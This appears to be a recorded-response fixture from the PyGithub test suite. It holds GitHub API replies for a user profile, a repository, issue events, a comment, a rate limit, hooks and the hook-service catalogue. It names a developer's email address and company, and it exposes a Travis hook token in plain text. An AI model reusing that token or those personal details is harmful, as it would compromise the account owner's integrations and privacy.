charset=utf-8')]\n+{\"type\":\"User\",\"bio\":\"\",\"disk_usage\":16976,\"total_private_repos\":5,\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"owned_private_repos\":5,\"collaborators\":0,\"plan\":{\"collaborators\":1,\"private_repos\":5,\"name\":\"micro\",\"space\":614400},\"company\":\"Criteo\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"email\":\"vincent@vincent-jacques.net\",\"public_gists\":3,\"followers\":13,\"name\":\"Vincent Jacques\",\"created_at\":\"2010-07-09T06:10:06Z\",\"blog\":\"http://vincent-jacques.net\",\"location\":\"Paris, France\",\"hireable\":false,\"id\":327146,\"private_gists\":5,\"public_repos\":11,\"following\":24,\"html_url\":\"https://github.com/jacquev6\"}\n \n GET /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed'} null\n 200\n-[('status', '200 OK'), ('x-ratelimit-remaining', '4906'), ('content-length', '1129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"4c20acf0b23f75bbf25106b1a04f65a5\"'), ('date', 'Sun, 27 May 2012 07:19:31 GMT'), ('content-type', 'application/json; charset=utf-8')]\n-{\"description\":\"Python library implementing the full Github API v3\",\"full_name\":\"jacquev6/PyGithub\",\"has_wiki\":false,\"has_issues\":true,\"updated_at\":\"2012-05-27T06:55:28Z\",\"forks\":3,\"mirror_url\":null,\"homepage\":\"http://vincent-jacques.net/PyGithub\",\"ssh_url\":\"git@github.com:jacquev6/PyGithub.git\",\"open_issues\":16,\"fork\":false,\"svn_url\":\"https://github.com/jacquev6/PyGithub\",\"pushed_at\":\"2012-05-27T06:00:28Z\",\"size\":308,\"html_url\":\"https://github.com/jacquev6/PyGithub\",\"private\":false,\"url\":\"https://api.github.com/repos/jacquev6/PyGithub\",\"clone_url\":\"https://github.com/jacquev6/PyGithub.git\",\"owner\":{\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"url\":\"https://api.github.com/users/jacquev6\",\"login\":\"jacquev6\",\"id\":327146},\"name\":\"PyGithub\",\"has_downloads\":true,\"language\":\"Python\",\"watchers\":15,\"git_url\":\"git://github.com/jacquev6/PyGithub.git\",\"id\":3544490,\"permissions\":{\"admin\":true,\"pull\":true,\"push\":true},\"created_at\":\"2012-02-25T12:53:47Z\"}\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('content-length', '1129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"f1e4eb3993a364b66b68ec9db42405bd\"'), ('date', 'Sun, 27 May 2012 07:32:55 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"clone_url\":\"https://github.com/jacquev6/PyGithub.git\",\"has_downloads\":true,\"watchers\":15,\"updated_at\":\"2012-05-27T07:29:24Z\",\"permissions\":{\"pull\":true,\"admin\":true,\"push\":true},\"homepage\":\"http://vincent-jacques.net/PyGithub\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub\",\"mirror_url\":null,\"has_wiki\":false,\"has_issues\":true,\"fork\":false,\"forks\":3,\"git_url\":\"git://github.com/jacquev6/PyGithub.git\",\"size\":308,\"private\":false,\"open_issues\":16,\"svn_url\":\"https://github.com/jacquev6/PyGithub\",\"owner\":{\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146},\"name\":\"PyGithub\",\"language\":\"Python\",\"description\":\"Python library implementing the full Github API v3\",\"ssh_url\":\"git@github.com:jacquev6/PyGithub.git\",\"pushed_at\":\"2012-05-27T07:29:24Z\",\"created_at\":\"2012-02-25T12:53:47Z\",\"id\":3544490,\"html_url\":\"https://github.com/jacquev6/PyGithub\",\"full_name\":\"jacquev6/PyGithub\"}\n \n-GET /repos/jacquev6/PyGithub/issues/events/15819975 {'Authorization': 'Basic login_and_password_removed'} null\n+GET /repos/jacquev6/PyGithub/issues/events/16348656 {'Authorization': 'Basic login_and_password_removed'} null\n 200\n-[('status', '200 OK'), ('x-ratelimit-remaining', '4905'), ('content-length', '2430'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"a3d244842d23f92f69a23e21626fad11\"'), ('date', 'Sun, 27 May 2012 07:19:31 GMT'), ('content-type', 'application/json; charset=utf-8')]\n-{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues/events/15819975\",\"issue\":{\"updated_at\":\"2012-05-26T14:59:33Z\",\"body\":\"Body edited by PyGithub\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues/28\",\"comments\":0,\"milestone\":{\"creator\":{\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146},\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/milestones/1\",\"number\":1,\"title\":\"Version 0.4\",\"due_on\":\"2012-03-13T07:00:00Z\",\"closed_issues\":3,\"open_issues\":0,\"created_at\":\"2012-03-08T12:22:10Z\",\"state\":\"closed\",\"description\":\"\",\"id\":93546},\"number\":28,\"assignee\":{\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146},\"closed_at\":\"2012-05-26T14:59:33Z\",\"title\":\"Issue created by PyGithub\",\"labels\":[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}],\"created_at\":\"2012-05-19T10:38:23Z\",\"state\":\"closed\",\"user\":{\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146},\"id\":4653757,\"pull_request\":{\"diff_url\":null,\"patch_url\":null,\"html_url\":null},\"html_url\":\"https://github.com/jacquev6/PyGithub/issues/28\"},\"commit_id\":null,\"created_at\":\"2012-05-19T10:38:23Z\",\"event\":\"subscribed\",\"id\":15819975,\"actor\":{\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146}}\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '1384'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"fefecab09e7355d4ef9875677c2631da\"'), ('date', 'Sun, 27 May 2012 07:32:56 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues/events/16348656\",\"issue\":{\"updated_at\":\"2012-05-27T07:27:51Z\",\"body\":\"Body created by PyGithub\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues/30\",\"comments\":0,\"milestone\":null,\"number\":30,\"assignee\":null,\"closed_at\":null,\"title\":\"Issue also created by PyGithub\",\"labels\":[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}],\"created_at\":\"2012-05-27T05:40:15Z\",\"state\":\"open\",\"user\":{\"url\":\"https://api.github.com/users/jacquev6\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146,\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\"},\"id\":4769659,\"pull_request\":{\"patch_url\":null,\"diff_url\":null,\"html_url\":null},\"html_url\":\"https://github.com/jacquev6/PyGithub/issues/30\"},\"commit_id\":\"ed866fc43833802ab553e5ff8581c81bb00dd433\",\"created_at\":\"2012-05-27T07:29:25Z\",\"event\":\"referenced\",\"id\":16348656,\"actor\":{\"url\":\"https://api.github.com/users/jacquev6\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146,\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\"}}\n "}] https GET api.github.com None /repos/jacquev6/PyGithub/comments/3630301 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4873'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '8be19071-cb1a-414d-8310-a325dcbb0ff4'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '1391'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 06 Sep 2013 12:51:22 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"654d1a29abe3a61b096e8bffbc61c162"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:05:34 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378482241')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/comments/3630301","html_url":"https://github.com/jacquev6/PyGithub/commit/4aadfff21cdd2d2566b0e4bd7309c233b5f4ae23#commitcomment-3630301","id":3630301,"user":{"login":"jacquev6","id":327146,"avatar_url":"https://2.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"4aadfff21cdd2d2566b0e4bd7309c233b5f4ae23","created_at":"2013-07-14T17:26:29Z","updated_at":"2013-07-14T17:26:29Z","body":"Comment created for PyGithub"} https GET api.github.com None /rate_limit {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Wed, 05 Sep 2018 03:59:43 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4929'), ('X-RateLimit-Reset', '1536123356'), ('Cache-Control', 'no-cache'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.021146'), ('Content-Encoding', 'gzip'), ('Vary', 'Accept-Encoding'), ('X-GitHub-Request-Id', 'C8ED:54D0:B4DAB8:EF7B5E:5B8F54AE')] {"resources":{"core":{"limit":5000,"remaining":4929,"reset":1536123356},"search":{"limit":30,"remaining":30,"reset":1536120043},"graphql":{"limit":5000,"remaining":5000,"reset":1536123583}},"rate":{"limit":5000,"remaining":4929,"reset":1536123356}} https GET api.github.com None /repos/jacquev6/PyGithub/hooks {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4872'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '91eb21a9-7965-4af5-b6ff-95dc600d32e1'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '464'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 06 Sep 2013 12:41:06 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"f7b3dbaaca94c0219f23e9021e78506f"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:05:43 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378482241')] [{"url":"https://api.github.com/repos/jacquev6/PyGithub/hooks/423574","test_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks/423574/test","id":423574,"name":"travis","active":true,"events":["push","pull_request","issue_comment","public","member"],"config":{"domain":"","token":"pJdnhcDq3dQ9Cr1J1znQ","user":"jacquev6"},"last_response":{"code":200,"status":"active","message":"OK"},"updated_at":"2013-09-06T12:41:06Z","created_at":"2012-09-16T07:14:29Z"}] https GET api.github.com None /hooks {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4871'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '609aaebd-8356-4b3a-82cf-c796a9475c3b'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '28297'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 04 Sep 2013 18:03:57 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"678dd8e392d70d3a284c3d47221ec6f0"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:05:45 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378482241')] [{"name":"activecollab","events":["push"],"supported_events":["push"],"schema":[["string","url"],["string","token"],["string","project_id"],["string","milestone_id"],["string","category_id"]]},{"name":"acunote","events":["push"],"supported_events":["push"],"schema":[["string","token"]]},{"name":"agilebench","events":["push"],"supported_events":["push"],"schema":[["string","token"],["string","project_id"]]},{"name":"agilezen","events":["push"],"supported_events":["push"],"schema":[["string","api_key"],["string","project_id"],["string","branches"]]},{"name":"amazonsns","events":["push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","aws_key"],["string","aws_secret"],["string","sns_topic"],["string","sqs_queue"],["password","aws_secret"]]},{"name":"apiary","events":["push"],"supported_events":["push"],"schema":[["string","branch"],["string","domain"]]},{"name":"apoio","events":["issues"],"supported_events":["issues"],"schema":[["string","subdomain"],["string","token"]]},{"name":"appharbor","events":["push"],"supported_events":["push"],"schema":[["string","application_slug"],["string","token"]]},{"name":"apropos","events":["commit_comment","issues","issue_comment","pull_request","push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","project_id"]]},{"name":"asana","events":["push"],"supported_events":["push"],"schema":[["string","auth_token"],["string","restrict_to_branch"],["boolean","restrict_to_last_commit"]]},{"name":"backlog","events":["push"],"supported_events":["push"],"schema":[["string","api_url"],["string","user_id"],["password","password"]]},{"name":"bamboo","events":["push"],"supported_events":["push"],"schema":[["string","base_url"],["string","build_key"],["string","username"],["password","password"]]},{"name":"basecamp","events":["push"],"supported_events":["push"],"schema":[["string","url"],["string","project"],["string","category"],["string","username"],["password","password"],["boolean","ssl"]]},{"name":"bcx","events":["push","pull_request","issues"],"supported_events":["issues","pull_request","push"],"schema":[["string","project_url"],["string","email_address"],["password","password"]]},{"name":"blimp","events":["issues","issue_comment"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","project_url"],["string","username"],["string","goal_title"],["password","api_key"]]},{"name":"boxcar","events":["push"],"supported_events":["push"],"schema":[["string","subscribers"]]},{"name":"buddycloud","events":["push"],"supported_events":["push"],"schema":[["string","buddycloud_base_api"],["string","username"],["string","password"],["string","channel"],["password","password"],["boolean","show_commit_summary"],["boolean","show_commit_detail"]]},{"name":"bugherd","events":["issues","issue_comment","push"],"supported_events":["issue_comment","issues","push"],"schema":[["string","project_key"]]},{"name":"bugly","events":["push"],"supported_events":["push"],"schema":[["string","project_id"],["string","account_name"],["string","token"]]},{"name":"bugzilla","events":["push"],"supported_events":["push"],"schema":[["string","server_url"],["string","username"],["string","integration_branch"],["password","password"],["boolean","central_repository"]]},{"name":"campfire","events":["push","pull_request","issues"],"supported_events":["gollum","issues","public","pull_request","push"],"schema":[["string","subdomain"],["string","room"],["string","token"],["string","sound"],["boolean","master_only"],["boolean","play_sound"],["boolean","long_url"]]},{"name":"cia","events":["push"],"supported_events":["push"],"schema":[["string","address"],["string","project"],["string","branch"],["string","module"],["boolean","long_url"],["boolean","full_commits"]]},{"name":"circleci","events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[]},{"name":"codeclimate","events":["push"],"supported_events":["push"],"schema":[["string","token"]]},{"name":"codeportingcsharp2java","events":["push"],"supported_events":["push"],"schema":[["string","project_name"],["string","repo_key"],["string","target_repo_key"],["string","codeporting_username"],["password","codeporting_password"],["string","github_access_token"]]},{"name":"codeship","events":["push"],"supported_events":["push"],"schema":[["string","project_uuid"]]},{"name":"coffeedocinfo","events":["push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[]},{"name":"conductor","events":["push"],"supported_events":["push"],"schema":[["string","api_key"]]},{"name":"coop","events":["push"],"supported_events":["push"],"schema":[["string","group_id"],["string","token"]]},{"name":"copperegg","events":["push"],"supported_events":["push"],"schema":[["string","url"],["string","tag"],["boolean","master_only"],["string","api_key"]]},{"name":"cube","events":["push"],"supported_events":["push"],"schema":[["string","domain"],["string","project"],["string","token"]]},{"name":"depending","events":["push"],"supported_events":["push"],"schema":[["string","token"]]},{"name":"deployhq","events":["push"],"supported_events":["push"],"schema":[["string","deploy_hook_url"],["boolean","email_pusher"]]},{"name":"devaria","events":["push","member","public","issues","gollum"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","project_name"],["string","username"],["string","user_class_id"]]},{"name":"docker","events":["push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[]},{"name":"ducksboard","events":["push","issues","fork","watch"],"supported_events":["fork","issues","push","watch"],"schema":[["string","webhook_key"]]},{"name":"email","events":["push"],"supported_events":["public","push"],"schema":[["string","address"],["password","secret"],["boolean","send_from_author"]]},{"name":"firebase","events":["push"],"supported_events":["push"],"schema":[["string","firebase"],["string","secret"]]},{"name":"fisheye","events":["push"],"supported_events":["push"],"schema":[["string","url_base"],["string","token"],["string","repository_name"]]},{"name":"flowdock","events":["commit_comment","gollum","issues","issue_comment","pull_request","push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","token"]]},{"name":"fogbugz","events":["push"],"supported_events":["push"],"schema":[["string","cvssubmit_url"],["string","fb_repoid"],["string","fb_version"]]},{"name":"freckle","events":["push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","subdomain"],["string","project"],["string","token"]]},{"name":"friendfeed","events":["push"],"supported_events":["push"],"schema":[["string","nickname"],["string","remotekey"]]},{"name":"gemini","events":["push"],"supported_events":["push"],"schema":[["string","server_url"],["string","api_key"]]},{"name":"gemnasium","events":["push"],"supported_events":["push"],"schema":[["string","user"],["string","token"]]},{"name":"geocommit","events":["push"],"supported_events":["push"],"schema":[]},{"name":"getlocalization","events":["push"],"supported_events":["push"],"schema":[["string","project_name"],["string","project_token"]]},{"name":"gitlive","events":["push"],"supported_events":["push"],"schema":[]},{"name":"grmble","events":["push"],"supported_events":["push"],"schema":[["string","room_api_url"],["string","token"]]},{"name":"grouptalent","events":["push"],"supported_events":["push"],"schema":[["string","token"]]},{"name":"grove","events":["commit_comment","gollum","issues","issue_comment","pull_request","push"],"supported_events":["push"],"schema":[["string","channel_token"]]},{"name":"habitualist","events":["push"],"supported_events":["push"],"schema":[]},{"name":"hakiri","events":["push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","token"],["string","project_id"]]},{"name":"hall","events":["commit_comment","gollum","issues","issue_comment","pull_request","push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","room_token"]]},{"name":"harvest","events":["push"],"supported_events":["push"],"schema":[["string","subdomain"],["string","username"],["password","password"],["boolean","ssl"]]},{"name":"hipchat","events":["commit_comment","download","fork","fork_apply","gollum","issues","issue_comment","member","public","pull_request","push","watch"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","auth_token"],["string","room"],["string","restrict_to_branch"],["boolean","notify"],["boolean","quiet_fork"],["boolean","quiet_watch"],["boolean","quiet_comments"]]},{"name":"hostedgraphite","events":["push"],"supported_events":["push"],"schema":[["string","api_key"]]},{"name":"hubcap","events":["push"],"supported_events":["push"],"schema":[]},{"name":"hubci","events":["push"],"supported_events":["push"],"schema":[["string","token"]]},{"name":"humbug","events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","push","team_add","watch","pull_request_review_comment","status"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","email"],["string","api_key"],["string","stream"],["string","branches"]]},{"name":"icescrum","events":["push"],"supported_events":["push"],"schema":[["string","base_url"],["string","project_key"],["string","username"],["password","password"]]},{"name":"irc","events":["push","pull_request"],"supported_events":["commit_comment","issue_comment","issues","pull_request","pull_request_review_comment","push"],"schema":[["string","server"],["string","port"],["string","room"],["string","nick"],["string","branch_regexes"],["string","nickserv_password"],["password","password"],["boolean","ssl"],["boolean","message_without_join"],["boolean","no_colors"],["boolean","long_url"],["boolean","notice"]]},{"name":"irker","events":["push"],"supported_events":["push"],"schema":[["string","address"],["string","project"],["string","branch"],["string","module"],["string","channels"],["boolean","long_url"],["boolean","color"],["boolean","full_commits"]]},{"name":"ironmq","events":["commit_comment","download","fork","fork_apply","gollum","issues","issue_comment","member","public","pull_request","push","watch"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","token"],["string","project_id"],["string","queue_name"]]},{"name":"ironworker","events":["commit_comment","download","fork","fork_apply","gollum","issues","issue_comment","member","public","pull_request","push","watch"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","token"],["string","project_id"],["string","queue_name"]]},{"name":"jabber","events":["push"],"supported_events":["push"],"schema":[["string","user"]]},{"name":"jaconda","events":["commit_comment","download","fork","fork_apply","gollum","issues","issue_comment","member","public","pull_request","push","watch"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","subdomain"],["string","room_id"],["string","room_token"],["boolean","digest"]]},{"name":"jeapie","events":["push","pull_request","commit_comment"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","token"]]},{"name":"jenkins","events":["push"],"supported_events":["push"],"schema":[["string","jenkins_hook_url"]]},{"name":"jenkinsgit","events":["push"],"supported_events":["push"],"schema":[["string","jenkins_url"]]},{"name":"jira","events":["push"],"supported_events":["push"],"schema":[["string","server_url"],["string","api_version"],["string","username"],["password","password"]]},{"name":"jqueryplugins","events":["push"],"supported_events":["push"],"schema":[]},{"name":"kanbanery","events":["push"],"supported_events":["push"],"schema":[["string","project_id"],["string","project_token"]]},{"name":"kickoff","events":["push"],"supported_events":["push"],"schema":[["string","project_id"],["string","project_token"]]},{"name":"leanto","events":["push"],"supported_events":["push"],"schema":[["string","token"]]},{"name":"lechat","events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","webhook_url"]]},{"name":"lighthouse","events":["push"],"supported_events":["push"],"schema":[["string","subdomain"],["string","project_id"],["string","token"],["boolean","private"],["boolean","send_only_ticket_commits"]]},{"name":"lingohub","events":["push"],"supported_events":["push"],"schema":[["string","project_token"]]},{"name":"loggly","events":["push"],"supported_events":["push"],"schema":[["string","input_token"]]},{"name":"mantisbt","events":["push"],"supported_events":["push"],"schema":[["string","url"],["string","api_key"]]},{"name":"masterbranch","events":["push"],"supported_events":["push"],"schema":[]},{"name":"mqttpub","events":["push"],"supported_events":["push"],"schema":[["string","broker"],["string","port"],["string","topic"],["string","clientid"],["string","user"],["password","pass"],["boolean","retain"]]},{"name":"nma","events":["push"],"supported_events":["push"],"schema":[["string","apikey"]]},{"name":"nodejitsu","events":["push"],"supported_events":["push"],"schema":[["string","username"],["password","password"],["string","branch"],["string","endpoint"],["boolean","email_success_deploys"],["boolean","email_errors"]]},{"name":"notifo","events":["push"],"supported_events":["push"],"schema":[["string","subscribers"]]},{"name":"ontime","events":["push"],"supported_events":["push"],"schema":[["string","ontime_url"],["string","api_key"]]},{"name":"pachube","events":["push"],"supported_events":["push"],"schema":[["string","api_key"],["string","feed_id"],["string","track_branch"]]},{"name":"packagist","events":["push"],"supported_events":["push"],"schema":[["string","user"],["string","token"],["string","domain"]